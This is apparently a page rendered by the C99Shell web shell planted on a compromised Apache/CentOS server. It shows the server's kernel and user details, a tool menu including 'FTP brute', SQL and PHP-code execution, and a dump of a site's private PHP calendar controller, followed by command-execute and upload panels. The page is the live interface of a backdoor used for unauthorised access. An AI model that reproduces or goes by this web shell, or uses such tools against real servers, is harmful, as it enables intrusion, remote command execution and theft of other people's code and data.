!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/controller/   drwxr-xr-x
Free 9.17 GB of 93.48 GB (9.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CalendarioCtrl.php (5.13 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once("BaseController.php");



class 
CalendarioCtrl extends BaseController {

    var 
$model "Agenda";


    
/**
     * Construtor principal
     * Inicia a classe principal de controle informando o Modelo Atual
     */
    
public function __construct() {
        
parent::setConnection($this->model);
    }
    

    
/*
     * Verifica se existe algum evento cadastrado com a data igual á informada
     *
     * @param Date  $data      Data a ser comparada
     * @param Array $eventos   Lista de eventos
     *
     * @return Boolean
     */
    
public function hasEvento($data$eventos) {
        
$retorno null;
        foreach(
$eventos as $evento){
            if(
$data == $evento['titulo']){
                
$retorno $evento;
            }
            return 
$retorno;
        } 
    }
    
    
/*
     * Verifica se existe algum registro da agenda cadastrado com a data igual á informada
     *
     * @param Date  $data      Data a ser comparada
     * @param Array $agendas   Lista de registros da agenda
     *
     * @return Boolean
     */
    
public function hasAgenda($data$agendas) {
        
$retorno null;
        foreach(
$agendas as $agenda){
            if(
$data == $agenda['agdata']){
                
$retorno $agenda;
            }
        }
        return 
$retorno;
    }


    
/*
     * Retorna a lista dos registros da agenda de compromissos
     *
     * @param Integer $mes       Mes a ser consultado
     * @param Integer $ano       Ano a ser consultado
     *
     * @return Array
     */
    
public function getListaAgenda($dataIni$dataFim){
        
$q Doctrine_Query::create()->from("Agenda a")
                 ->
where("a.agdata >= ?"$dataIni)
                 ->
addWhere("a.agdata <= ?"$dataFim)
                 ->
orderBy("a.agdata");
        return 
$q->fetchArray();
    }


    
/*
     * Retorna a lista de eventos cadastrados
     *
     * @param Integer $mes       Mes a ser consultado
     * @param Integer $ano       Ano a ser consultado
     *
     * @return Array
     */
    
public function getListaEventos($dataIni$dataFim){
        
$q Doctrine_Query::create()->from("Evento e")
                 ->
where("e.evdata >= ?"$dataIni)
                 ->
addWhere("e.evdata <= ?"$dataFim)
                 ->
orderBy("e.evdata"); 
        return 
$q->fetchArray();
    }
    
    
    public function 
getAgendaProximo($id=""$data=""){
        
$q Doctrine_Query::create()->from("Agenda a");
        if(!empty(
$data)){
            
$q->where("a.agdata >= ?"$data);
        }    
        if(!empty(
$id)){
            
$q->andWhere("a.id > ?"$id);
        }
        
$q->orderBy("a.agdata");
        
$q->limit(1);
        return 
$q->fetchOne();
    }
    
    
    public function 
getAgendaAnterior($id=""$data=""){
        
$q Doctrine_Query::create()->from("Agenda a");
        if(!empty(
$data)){
            
$q->where("a.agdata <= ?"$data);
        }    
        if(!empty(
$id)){
            
$q->andWhere("a.id < ?"$id);
        }
        
$q->orderBy("a.agdata DESC");
        
$q->limit(1);
        return 
$q->fetchOne();
    }
    

    
/*
     * Retorna a lista dos registros da agenda de compromissos
     *
     * @param Integer $mes       Mes a ser consultado
     * @param Integer $ano       Ano a ser consultado
     *
     * @return Array
     */
    
public function getRegistrosAgenda($mes=""$ano=""){
        
$q Doctrine_Query::create()->from("Agenda a");
        if(!empty(
$mes)){
            
$q->addWhere("MONTH(a.agdata) = ?"$mes);
        }
        if(!empty(
$ano)){
            
$q->addWhere("YEAR(a.agdata) = ?"$ano);
        }
        
$q->orderBy("a.agdata ASC");
        return 
$q->fetchArray();
    }
    
    
/*
     * Retorna a lista dos registros da agenda e dos eventos
     *
     * @param Integer $mes       Mes a ser consultado
     * @param Integer $ano       Ano a ser consultado
     *
     * @return Array
     */
    
public function getAllRegistrosAgendaEventos(){
       
$query "SELECT age_titulo as titulo, age_descricao as descricao, age_local as local, age_data as data, TRIM(LEADING 0 FROM Day(age_data)) as day, TRIM(LEADING 0 FROM Month(age_data)) as month, Year(age_data) as year "
               
"                              FROM site_agenda WHERE MONTH(age_data) = '".date("m")."' AND YEAR(age_data) = '".date("Y")."'"
               
"                              UNION "
               
"                             SELECT evt_titulo as titulo, evt_descricao as descricao, evt_local as local, evt_dataini as data, TRIM(LEADING 0 FROM Day(evt_dataini)) as day, TRIM(LEADING 0 FROM Month(evt_dataini)) as month, Year(evt_dataini) as year "
               
"                              FROM site_eventos WHERE MONTH(evt_dataini) = '".date("m")."' AND YEAR(evt_dataini) = '".date("Y")."' AND evt_exibit = 1 "
               
"                              ORDER BY data ASC";
       
$statement Doctrine_Manager::getInstance()->connection();
       
$q $statement->execute($query);
       return 
$q->fetchAll();
       
       
    }
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0034 ]--